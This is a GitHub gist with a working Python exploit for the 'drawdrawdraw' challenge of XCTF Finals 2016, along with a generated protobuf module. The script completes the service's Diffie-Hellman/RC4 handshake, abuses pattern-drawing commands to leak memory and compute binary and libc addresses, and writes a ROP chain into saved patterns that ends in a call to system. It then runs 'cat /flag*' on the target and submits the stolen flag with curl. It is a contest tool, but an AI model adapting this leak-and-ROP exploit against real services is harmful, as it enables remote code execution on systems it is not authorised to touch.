-
-
Save HQ1995/5118681924b362dba1a7223b08575c84 to your computer and use it in GitHub Desktop.
drawdrawdraw exploit on XCTF Finals 2016
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from transaction_pb2 import Transaction, Reply, Command | |
| from rc4 import RC4 # https://github.com/bozhu/RC4-Python | |
| import socket | |
| import hexdump | |
| import random | |
| import struct | |
| import telnetlib | |
| import sys | |
| LIBC_RET = 0x21f45 | |
| SYSTEM = 0x46590 | |
| p4 = lambda x: struct.pack("<L", x) | |
| u4 = lambda x: struct.unpack("<L", x)[0] | |
| p8 = lambda x: struct.pack("<Q", x) | |
| u8 = lambda x: struct.unpack("<Q", x)[0] | |
| HOST = '0.0.0.0' | |
| PORT = 9000 | |
| execcmd = 'echo ho; cat /flag*\n' | |
| def run(HOST, PORT): | |
| s = socket.create_connection((HOST, PORT)) | |
| p = 0x00f88ea4c0f503ee5b16d72d1cb2dcc8f056b9365bce0140279b309b68d748f98be1d9e2c1b9260be691bb0d349ffeac2444f1a1a65bf9af1871c075748dd0c25dad93a707eb34eef262aae310adabac1270521c81f775989568088ee152838c60e1be2b545517a110c35826e52230f99e3946ac647f17ec2260cd6e0085debc8b | |
| data = s.recv(128).encode('hex') | |
| data = int(data, 16) | |
| g_pow_x = data | |
| g = 2 | |
| y = random.randint(2, p - 1) | |
| session_key = pow(g_pow_x, y, p) | |
| # print hex(session_key) | |
| # print hex(g_pow_x) | |
| challenge = pow(g, y, p) | |
| # print hex(challenge) | |
| challenge_string = '' | |
| for i in range(128): | |
| challenge_string += chr(challenge & 0xff) | |
| challenge /= 256 | |
| session_key_string = '' | |
| for i in range(128): | |
| if session_key == 0: | |
| session_key_string = session_key_string.ljust(128, '\x00') | |
| break | |
| session_key_string = chr(session_key & 0xff) + session_key_string | |
| session_key /= 256 | |
| s.send(challenge_string[::-1]) | |
| def rw(x): | |
| d = '' | |
| while x not in d: | |
| c = s.recv(1) | |
| sys.stdout.write(c) | |
| if c == '': | |
| print 'socket error' | |
| exit() | |
| d += c | |
| return d | |
| def send(x): | |
| data = '' | |
| x = p4(len(x)) + x | |
| for c, d in zip(x, RC4read): | |
| data += chr(ord(c) ^ d) | |
| s.send(data) | |
| def read(): | |
| data = '' | |
| size = u4(str(bytearray([ord(x) ^ y for x, y in zip(s.recv(4), RC4write)]))) | |
| if size > 0x100000: | |
| print 'server tried DoS against us', hex(size) | |
| exit() | |
| for c, d in zip(range(size), RC4write): | |
| c = s.recv(1) | |
| data += chr(ord(c) ^ d) | |
| data = bytes(data) | |
| return data | |
| RC4read = RC4(bytearray(session_key_string[:64])) | |
| RC4write = RC4(bytearray(session_key_string[64:])) | |
| t = Transaction() | |
| r = random.randint(50, 100) | |
| for i in range(r): | |
| cmd = t.cmds.add() | |
| cmd.action = Command.DRAW_DOT | |
| cmd.x = random.randint(0, 63) | |
| cmd.y = random.randint(0, 63) | |
| cmd = t.cmds.add() | |
| cmd.action = Command.CLEAR_ALL | |
| cmd = t.cmds.add() | |
| cmd.action = Command.DRAW_PATTERN | |
| cmd.x = 0 | |
| cmd.y = 0 | |
| cmd.pattern_id = 25 | |
| cmd = t.cmds.add() | |
| cmd.action = Command.DRAW_PATTERN | |
| cmd.x = 0 | |
| cmd.y = 16 | |
| cmd.pattern_id = 26 | |
| cmd = t.cmds.add() | |
| cmd.action = Command.VIEW | |
| data = t.SerializeToString() | |
| t.reply.message = 'a' | |
| t.reply.type = 2 | |
| t.reply.view = 'view' | |
| send(data) | |
| r = Reply() | |
| r.ParseFromString(read()) | |
| data = r.view[5:] | |
| data = data.replace(' ', '0').replace('*', '1') | |
| data = ''.join(row[:16][::-1] for row in data.split('\n')[:32]) | |
| data = [int(data[i:i+8], 2) for i in range(0, len(data), 8)] | |
| print len(data) | |
| data = str(bytearray(data)) | |
| data = ''.join([data[i:i+2][::-1] for i in range(0, len(data), 2)]) | |
| #hexdump.hexdump(data) | |
| #print `data` | |
| data = [u8(data[i:i+8]) for i in range(0, len(data), 8)] | |
| print map(hex, data), HOST | |
| base = data[3] - 0x3dbc | |
| libc_base = data[7] - LIBC_RET | |
| print hex(base), hex(libc_base) | |
| data2 = [base + 0x4175, base + 0x20c000, base + 0x4420, len(execcmd) + 1, base + 0x4C30, base + 0x4175, base + 0x20c000, libc_base + SYSTEM] | |
| data1 = list(data)[:4] | |
| data1[3] = base + 0x3f59 | |
| payload1 = ''.join([p8(data1[i]) for i in range(len(data1))]) | |
| payload2 = ''.join([p8(data2[i]) for i in range(len(data2))]) | |
| t = Transaction() | |
| cmd = t.cmds.add() | |
| cmd.action = Command.CLEAR_ALL | |
| for i in range(16): | |
| for j in range(16): | |
| if ord(payload1[i * 2 + j / 8]) & (1 << (j & 7)): | |
| cmd = t.cmds.add() | |
| cmd.action = Command.DRAW_DOT | |
| cmd.x = j | |
| cmd.y = i | |
| for i in range(32): | |
| for j in range(16): | |
| if ord(payload2[i * 2 + j / 8]) & (1 << (j & 7)): | |
| cmd = t.cmds.add() | |
| cmd.action = Command.DRAW_DOT | |
| cmd.x = j + 16 | |
| cmd.y = i | |
| cmd = t.cmds.add() | |
| cmd.action = Command.SAVE_AS_PATTERN | |
| cmd.x = 0 | |
| cmd.y = 0 | |
| cmd.pattern_id = 25 | |
| cmd = t.cmds.add() | |
| cmd.action = Command.SAVE_AS_PATTERN | |
| cmd.x = 16 | |
| cmd.y = 0 | |
| cmd.pattern_id = 26 | |
| cmd = t.cmds.add() | |
| cmd.action = Command.SAVE_AS_PATTERN | |
| cmd.x = 16 | |
| cmd.y = 16 | |
| cmd.pattern_id = 27 | |
| cmd = t.cmds.add() | |
| cmd.action = Command.END | |
| data = t.SerializeToString() | |
| send(data) | |
| read() | |
| s.send(execcmd + '\x00') | |
| rw('ho\n') | |
| token = rw('\n').strip() | |
| return token | |
| import os | |
| import urllib2 | |
| token = run(sys.argv[1], PORT) | |
| import sys | |
| os.system('curl http://172.16.4.1/Common/submitAnswer -d \'answer=%s&token=9edc17d82fdcd0954ae5c1e6b8560531\'; echo %s' % (token, sys.argv[1]) ) | |
| print '=>', token | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Generated by the protocol buffer compiler. DO NOT EDIT! | |
| # source: transaction.proto | |
| from google.protobuf import descriptor as _descriptor | |
| from google.protobuf import message as _message | |
| from google.protobuf import reflection as _reflection | |
| from google.protobuf import descriptor_pb2 | |
| # @@protoc_insertion_point(imports) | |
| DESCRIPTOR = _descriptor.FileDescriptor( | |
| name='transaction.proto', | |
| package='', | |
| serialized_pb='\n\x11transaction.proto\"\xc4\x01\n\x07\x43ommand\x12\x1f\n\x06\x61\x63tion\x18\x01 \x02(\x0e\x32\x0f.Command.Action\x12\t\n\x01x\x18\x02 \x01(\x05\x12\t\n\x01y\x18\x03 \x01(\x05\x12\x12\n\npattern_id\x18\x04 \x01(\x05\"n\n\x06\x41\x63tion\x12\r\n\tCLEAR_ALL\x10\x00\x12\x0c\n\x08\x44RAW_DOT\x10\x01\x12\r\n\tCLEAR_DOT\x10\x02\x12\x13\n\x0fSAVE_AS_PATTERN\x10\x03\x12\x10\n\x0c\x44RAW_PATTERN\x10\x04\x12\x08\n\x04VIEW\x10\x05\x12\x07\n\x03\x45ND\x10\x06\"p\n\x05Reply\x12\x1e\n\x04type\x18\x01 \x02(\x0e\x32\x10.Reply.ReplyType\x12\x0c\n\x04view\x18\x02 \x01(\t\x12\x0f\n\x07message\x18\x03 \x01(\t\"(\n\tReplyType\x12\x08\n\x04VIEW\x10\x00\x12\x06\n\x02OK\x10\x01\x12\t\n\x05\x45RROR\x10\x02\"<\n\x0bTransaction\x12\x16\n\x04\x63mds\x18\x01 \x03(\x0b\x32\x08.Command\x12\x15\n\x05reply\x18\x02 \x01(\x0b\x32\x06.Reply') | |
| _COMMAND_ACTION = _descriptor.EnumDescriptor( | |
| name='Action', | |
| full_name='Command.Action', | |
| filename=None, | |
| file=DESCRIPTOR, | |
| values=[ | |
| _descriptor.EnumValueDescriptor( | |
| name='CLEAR_ALL', index=0, number=0, | |
| options=None, | |
| type=None), | |
| _descriptor.EnumValueDescriptor( | |
| name='DRAW_DOT', index=1, number=1, | |
| options=None, | |
| type=None), | |
| _descriptor.EnumValueDescriptor( | |
| name='CLEAR_DOT', index=2, number=2, | |
| options=None, | |
| type=None), | |
| _descriptor.EnumValueDescriptor( | |
| name='SAVE_AS_PATTERN', index=3, number=3, | |
| options=None, | |
| type=None), | |
| _descriptor.EnumValueDescriptor( | |
| name='DRAW_PATTERN', index=4, number=4, | |
| options=None, | |
| type=None), | |
| _descriptor.EnumValueDescriptor( | |
| name='VIEW', index=5, number=5, | |
| options=None, | |
| type=None), | |
| _descriptor.EnumValueDescriptor( | |
| name='END', index=6, number=6, | |
| options=None, | |
| type=None), | |
| ], | |
| containing_type=None, | |
| options=None, | |
| serialized_start=108, | |
| serialized_end=218, | |
| ) | |
| _REPLY_REPLYTYPE = _descriptor.EnumDescriptor( | |
| name='ReplyType', | |
| full_name='Reply.ReplyType', | |
| filename=None, | |
| file=DESCRIPTOR, | |
| values=[ | |
| _descriptor.EnumValueDescriptor( | |
| name='VIEW', index=0, number=0, | |
| options=None, | |
| type=None), | |
| _descriptor.EnumValueDescriptor( | |
| name='OK', index=1, number=1, | |
| options=None, | |
| type=None), | |
| _descriptor.EnumValueDescriptor( | |
| name='ERROR', index=2, number=2, | |
| options=None, | |
| type=None), | |
| ], | |
| containing_type=None, | |
| options=None, | |
| serialized_start=292, | |
| serialized_end=332, | |
| ) | |
| _COMMAND = _descriptor.Descriptor( | |
| name='Command', | |
| full_name='Command', | |
| filename=None, | |
| file=DESCRIPTOR, | |
| containing_type=None, | |
| fields=[ | |
| _descriptor.FieldDescriptor( | |
| name='action', full_name='Command.action', index=0, | |
| number=1, type=14, cpp_type=8, label=2, | |
| has_default_value=False, default_value=0, | |
| message_type=None, enum_type=None, containing_type=None, | |
| is_extension=False, extension_scope=None, | |
| options=None), | |
| _descriptor.FieldDescriptor( | |
| name='x', full_name='Command.x', index=1, | |
| number=2, type=5, cpp_type=1, label=1, | |
| has_default_value=False, default_value=0, | |
| message_type=None, enum_type=None, containing_type=None, | |
| is_extension=False, extension_scope=None, | |
| options=None), | |
| _descriptor.FieldDescriptor( | |
| name='y', full_name='Command.y', index=2, | |
| number=3, type=5, cpp_type=1, label=1, | |
| has_default_value=False, default_value=0, | |
| message_type=None, enum_type=None, containing_type=None, | |
| is_extension=False, extension_scope=None, | |
| options=None), | |
| _descriptor.FieldDescriptor( | |
| name='pattern_id', full_name='Command.pattern_id', index=3, | |
| number=4, type=5, cpp_type=1, label=1, | |
| has_default_value=False, default_value=0, | |
| message_type=None, enum_type=None, containing_type=None, | |
| is_extension=False, extension_scope=None, | |
| options=None), | |
| ], | |
| extensions=[ | |
| ], | |
| nested_types=[], | |
| enum_types=[ | |
| _COMMAND_ACTION, | |
| ], | |
| options=None, | |
| is_extendable=False, | |
| extension_ranges=[], | |
| serialized_start=22, | |
| serialized_end=218, | |
| ) | |
| _REPLY = _descriptor.Descriptor( | |
| name='Reply', | |
| full_name='Reply', | |
| filename=None, | |
| file=DESCRIPTOR, | |
| containing_type=None, | |
| fields=[ | |
| _descriptor.FieldDescriptor( | |
| name='type', full_name='Reply.type', index=0, | |
| number=1, type=14, cpp_type=8, label=2, | |
| has_default_value=False, default_value=0, | |
| message_type=None, enum_type=None, containing_type=None, | |
| is_extension=False, extension_scope=None, | |
| options=None), | |
| _descriptor.FieldDescriptor( | |
| name='view', full_name='Reply.view', index=1, | |
| number=2, type=9, cpp_type=9, label=1, | |
| has_default_value=False, default_value=unicode("", "utf-8"), | |
| message_type=None, enum_type=None, containing_type=None, | |
| is_extension=False, extension_scope=None, | |
| options=None), | |
| _descriptor.FieldDescriptor( | |
| name='message', full_name='Reply.message', index=2, | |
| number=3, type=9, cpp_type=9, label=1, | |
| has_default_value=False, default_value=unicode("", "utf-8"), | |
| message_type=None, enum_type=None, containing_type=None, | |
| is_extension=False, extension_scope=None, | |
| options=None), | |
| ], | |
| extensions=[ | |
| ], | |
| nested_types=[], | |
| enum_types=[ | |
| _REPLY_REPLYTYPE, | |
| ], | |
| options=None, | |
| is_extendable=False, | |
| extension_ranges=[], | |
| serialized_start=220, | |
| serialized_end=332, | |
| ) | |
| _TRANSACTION = _descriptor.Descriptor( | |
| name='Transaction', | |
| full_name='Transaction', | |
| filename=None, | |
| file=DESCRIPTOR, | |
| containing_type=None, | |
| fields=[ | |
| _descriptor.FieldDescriptor( | |
| name='cmds', full_name='Transaction.cmds', index=0, | |
| number=1, type=11, cpp_type=10, label=3, | |
| has_default_value=False, default_value=[], | |
| message_type=None, enum_type=None, containing_type=None, | |
| is_extension=False, extension_scope=None, | |
| options=None), | |
| _descriptor.FieldDescriptor( | |
| name='reply', full_name='Transaction.reply', index=1, | |
| number=2, type=11, cpp_type=10, label=1, | |
| has_default_value=False, default_value=None, | |
| message_type=None, enum_type=None, containing_type=None, | |
| is_extension=False, extension_scope=None, | |
| options=None), | |
| ], | |
| extensions=[ | |
| ], | |
| nested_types=[], | |
| enum_types=[ | |
| ], | |
| options=None, | |
| is_extendable=False, | |
| extension_ranges=[], | |
| serialized_start=334, | |
| serialized_end=394, | |
| ) | |
| _COMMAND.fields_by_name['action'].enum_type = _COMMAND_ACTION | |
| _COMMAND_ACTION.containing_type = _COMMAND; | |
| _REPLY.fields_by_name['type'].enum_type = _REPLY_REPLYTYPE | |
| _REPLY_REPLYTYPE.containing_type = _REPLY; | |
| _TRANSACTION.fields_by_name['cmds'].message_type = _COMMAND | |
| _TRANSACTION.fields_by_name['reply'].message_type = _REPLY | |
| DESCRIPTOR.message_types_by_name['Command'] = _COMMAND | |
| DESCRIPTOR.message_types_by_name['Reply'] = _REPLY | |
| DESCRIPTOR.message_types_by_name['Transaction'] = _TRANSACTION | |
| class Command(_message.Message): | |
| __metaclass__ = _reflection.GeneratedProtocolMessageType | |
| DESCRIPTOR = _COMMAND | |
| # @@protoc_insertion_point(class_scope:Command) | |
| class Reply(_message.Message): | |
| __metaclass__ = _reflection.GeneratedProtocolMessageType | |
| DESCRIPTOR = _REPLY | |
| # @@protoc_insertion_point(class_scope:Reply) | |
| class Transaction(_message.Message): | |
| __metaclass__ = _reflection.GeneratedProtocolMessageType | |
| DESCRIPTOR = _TRANSACTION | |
| # @@protoc_insertion_point(class_scope:Transaction) | |
| # @@protoc_insertion_point(module_scope) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment